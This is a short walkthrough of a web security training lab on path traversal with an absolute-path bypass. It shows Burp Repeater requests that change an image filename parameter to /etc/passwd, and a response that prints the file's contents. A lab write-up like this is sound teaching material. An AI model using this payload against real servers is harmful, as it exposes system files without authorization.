File path traversal, traversal sequences blocked with absolute path bypass

This lab contains a file path traversal vulnerability in the display of product images.

The application blocks traversal sequences but treats the supplied filename as being relative to a default working directory.

To solve the lab, retrieve the contents of the /etc/passwd file.

Navigat to a product image - open in a new tab



Take the image? query string and add it to a repeater root request

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Request

Pretty Raw Hex Hackvertor

1 GET /image?filename=38.jpg HTTP/1.1
2 Host: 0abe0099035cca51c05b289400a100fb.w
3 Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromi
4 Sec-Ch-Ua-Mobile: ?0
5 Sec-Ch-Ua-Platform: "Windows"
6 Upgrade-Insecure-Requests: 1
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Add /etc/passwd to the filename query

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Request

Pretty Raw Hex Hackvertor

1 GET /image?filename=/etc/passwd HTTP/1.1
2 Host: 0abe0099035cca51c05b289400a100fb.web-security-a
3 Sec-Ch-Ua: "Not;A=Brand";v="99", "Chromium";v="106"
4 Sec-Ch-Ua-Mobile: ?0
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Check the response for the juice

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Response
        Raw
               Hex Render
                               Hackvertor
1 HTTP/1.1 200 OK
2 Content-Type: image/jpeg
3 Set-Cookie: session=6∨0b1su45Q0Z1NIG8ajXisKLgR4QLu0h; Se
  SameSite=None
4 Connection: close
5 Content-Length: 1256
7 root:x:0:0:root:/root:/bin/bash
8 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
9 bin:x:2:2:bin:/bin:/usr/sbin/nologin
10 sys:x:3:3:sys:/dev:/usr/sbin/nologin
11 sync:x:4:65534:sync:/bin:/bin/sync
12 games:x:5:60:games:/usr/games:/usr/sbin/nologin
13 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
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